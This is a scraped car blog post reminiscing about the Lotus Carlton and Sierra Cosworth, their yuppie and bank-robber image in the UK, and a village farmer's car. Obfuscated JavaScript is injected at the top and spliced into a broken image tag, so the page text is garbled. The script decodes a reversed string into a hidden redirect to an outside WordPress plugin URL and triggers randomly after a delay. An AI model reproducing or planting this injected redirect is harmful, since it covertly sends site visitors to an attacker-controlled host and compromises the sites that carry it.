$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/20103242/blog-farmers-robbers-mike-cunningham/lotus-carlton/”>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2010/10/Lotus-Carlton-728×409.jpg” alt=”” width=”728″ height=”409″ />I enjoy my daily commute to Abu Dhabi along SZR. There are not many places on our fair planet where you get to see lots of automotive exotica commuting at 05:30. But today was different and it really got me thinking that something was missing from our roads here in the UAE. In fact, something was missing from our roads everywhere.
I’m talking about something automotive with a little more edge. They are somewhat boutique, but I’m not sure they deserve to be called boutique as this engenders a picture of sophistication and class. They are raw, relatively cheap and were available to most. I’m talking about the super car contenders that really are nothing more than the average family saloon.
These are the cars that in the 80’s and 90’s were driven by ‘smarmy’ yuppies who had no Bluetooth or hands-free phone kits but would still use their ‘brick-size’ mobile phones whilst driving – it gave them status, just like these cars did. These cars were also the choice of criminals ‘in the know’. They were used to ‘do’ countless Post Offices and banks across the UK and they were also seen as the must have car for the up and coming gangster.
So what am I talking about?
First we had the Lotus Carlton. It was far from pretty, and in all honesty, being built by Vauxhall in the 90’s meant that quality was hardly the trademark. However, these cars went like stink! In my home village in the UK we were lucky enough to have two examples of the Lotus Carlton. My favourite of the two was driven by Farmer Jeff. His car was different because of him. Farmer Jeff was your stereotypical English farmer. He had a large belly, rosy red cheeks and a nose as red as Rudolph’s from the copious pints of Mild he would drink at lunch time. He wore tweed, a hat like Sherlock Holmes and carried a ridiculously heavy set of sideburns. So you get the picture… it looked odd. He didn’t fit the’ yuppy’ model nor the bank robber model. However, seeing a muddy pair of Hunter wellington boots emerge from the door of a British Racing green Lotus Carlton always made me smile. What made me smile even more was his license plate. I can’t remember the number, but at the bottom of the plate read ‘Porsche Disposal Unit’. And how true it was!
Then we had the Sierra Cosworth. Its first incarnation was the hatch back with the Boeing 747 wing attached to the rear window. It looked stupid but cool at the same time. It proved the car had intent. Then the 500bhp version was launched. I have less than fond memories of this car as it was the car that put a friend of mine in a wheel chair for life. In 1988 the Sierra Sapphire Cosworth was launched. A four door saloon that was rather understated in comparison to the original hatch version. This car oozed intent but with an air of sophistication too. New cars were driven by stock brokers and then stolen by bank robbers. Used cars were driven by gangsters and then stolen by 12 year old joy riders. It was these cars that set a wave of crime off in the UK.
Kids wanted to drive them so they stole them. Kids aspired to be the people that drove them, so they became ‘wannabe’ gangsters. I guess the Cosworths along with the Subaru’s started ‘Chav’ culture in the UK. Anyway, the Sapphire variant was the quintessential car of choice for the bank robber. It had four doors, all with great access at high speed when carrying one’s ‘sawn-off shot gun’ and ‘bag-o-swag’. They were quick – very quick and handled like a dream thanks to their 4WD. All of these advantages put them ahead of the UK ‘Old Bill’. So much so, that the UK Police then invested in a fleet of Cossies – if you can’t beat them, join them. As the Cossies grew older, younger owners began to emerge. The cars would be ‘chipped’ to 850bhp (see video below), have larger turbos fitted and large dump valves that would frighten young children and old ladies as they released on gear change. They would also be adorned by full stainless steel exhaust pipes the size of a household drain pipe – similar to the Super-Gun’ Saddam Hussein tried to build.
And now both of these marques are uber collectible. They have achieved cult status. But alas they are few and far between, so I have two questions for my fellow C&Pers.
1. What are today’s Lotus Carlton and Sierra Cossie?
2. And what on earth do bank robbers use today other than the internet? I can hardly see four of them jump into a Nissan GT-R holding shot guns and bags-o-swag!!??
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thecarlover.com
Robbers use cars that are super quick and has an easy access.. Hope kids who buy this doesn’t find the inspiration to be like robbers.